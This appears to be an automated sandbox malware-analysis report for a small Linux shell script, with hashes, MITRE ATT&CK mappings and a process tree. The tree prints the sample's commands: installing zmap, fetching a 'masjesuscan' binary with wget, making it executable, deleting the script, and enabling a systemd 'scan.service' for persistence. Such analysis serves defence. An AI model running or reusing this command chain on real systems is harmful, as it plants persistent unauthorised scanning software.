680d3805bd1d4dae4ba0d9b07029b114febd2819e3eaf46ff030994b25b225d5

Analysis

max time kernel
15s
max time network
4s
platform
debian-9_armhf
resource
debian9-armhf-20240418-en
resource tags

arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
06/11/2024, 02:48

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General

Target
680d3805bd1d4dae4ba0d9b07029b114febd2819e3eaf46ff030994b25b225d5.sh
Size 500B
Sample241106-dajqhatgll
SHA256 680d3805bd1d4dae4ba0d9b07029b114febd2819e3eaf46ff030994b25b225d5
MD5 c66fb280aafa015fa6190cebc3662794
SHA1 517a8951ff5513999d8cc5e1c7d8925822855043
SHA512 62a24b84e131484ca7f12a78d89c868618196740ba3c77a68739b94c23e01cad011b60c2db6cbacab2a52eb1c0f0661e8f0519677db9cdb87fc352baa41febbe
MD5 SHA1 SHA512

Score

7^/10

antivm defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
681	chmod

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/scan.service	680d3805bd1d4dae4ba0d9b07029b114febd2819e3eaf46ff030994b25b225d5.sh

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	https

Enumerates kernel/hardware configuration 1 TTPs 3 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 22 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/fd	apt-get
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/self/fd	apt-get
File opened for reading	/proc/sys/crypto/fips_enabled	https
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/sys/kernel/ngroups_max	apt-get
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/self/auxv	https
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/1/environ	systemctl

Writes file to tmp directory 11 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/fileutl.message.2D1KPD	apt-get
File opened for modification	/tmp/fileutl.message.gQkjfT	apt-get
File opened for modification	/tmp/fileutl.message.iF41JB	apt-get
File opened for modification	/tmp/fileutl.message.w7UtEy	apt-get
File opened for modification	/tmp/fileutl.message.MTroGh	apt-get
File opened for modification	/tmp/fileutl.message.a22AZt	apt-get
File opened for modification	/tmp/fileutl.message.FIrtJF	apt-get
File opened for modification	/tmp/fileutl.message.HwzKDk	apt-get
File opened for modification	/tmp/fileutl.message.PFqQOY	apt-get
File opened for modification	/tmp/fileutl.message.21iT8n	apt-get
File opened for modification	/tmp/fileutl.message.mYKjd3	apt-get

Software Deployment Tools 1 TTPs 2 IoCs

Use software deployment tools to execute code.

execution

Software Deployment Tools

T1072

pid	Process
640	apt-get
676	apt-get

/tmp/680d3805bd1d4dae4ba0d9b07029b114febd2819e3eaf46ff030994b25b225d5.sh
/tmp/680d3805bd1d4dae4ba0d9b07029b114febd2819e3eaf46ff030994b25b225d5.sh
1⤵
- Modifies systemd
PID:639
- /usr/bin/apt-get
  apt-get update
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  - Software Deployment Tools
  PID:640
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    - Reads runtime system information
    PID:648
- - /usr/lib/apt/methods/http
    /usr/lib/apt/methods/http
    3⤵
    PID:653
- - /usr/lib/apt/methods/https
    /usr/lib/apt/methods/https
    3⤵
    PID:655
- - /usr/lib/apt/methods/https
    /usr/lib/apt/methods/https
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    PID:662
- - /usr/lib/apt/methods/http
    /usr/lib/apt/methods/http
    3⤵
    PID:666
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    - Reads runtime system information
    PID:672
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    - Reads runtime system information
    PID:675
- /usr/bin/apt-get
  apt-get install -y zmap
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  - Software Deployment Tools
  PID:676
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    - Reads runtime system information
    PID:677
- /bin/mkdir
  mkdir -p /etc/sweet
  2⤵
  - Reads runtime system information
  PID:679
- /usr/bin/wget
  wget http://localhost/masjesuscan -O /etc/sweet/masjesuscan
  2⤵
  PID:680
- /bin/chmod
  chmod +x /etc/sweet/masjesuscan
  2⤵
  - File and Directory Permissions Modification
  PID:681
- /bin/cat
  cat
  2⤵
  PID:682
- /bin/rm
  rm scan.sh
  2⤵
  PID:683
- /bin/systemctl
  systemctl daemon-reload
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:684
- /bin/systemctl
  systemctl enable scan.service
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:685
- /bin/systemctl
  systemctl start scan.service
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:686

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Software Deployment Tools

T1072

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Software Deployment Tools

T1072

Collection

Command and Control

Exfiltration

Impact

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Downloads

scan.service

Path /etc/systemd/system/scan.service
Size 192B
SHA256 0e0f88c57ead88425c69f343519ee84d650662c7503d230306d88904a753908e
MD5 0f6e20a1150b1aa28e22ccefb899e3b5
SHA1 f491dc05e7b96967249154666bc17973b99e1a78
SHA512 51d622b5f780bf52c9f1c0fa732fc5fff9c8a826e7a6bdffd8003887658a37beb4c69d37463c4eb7b7efdc09b6ffc294d30497ff88d4965f5c80b97674f710f5
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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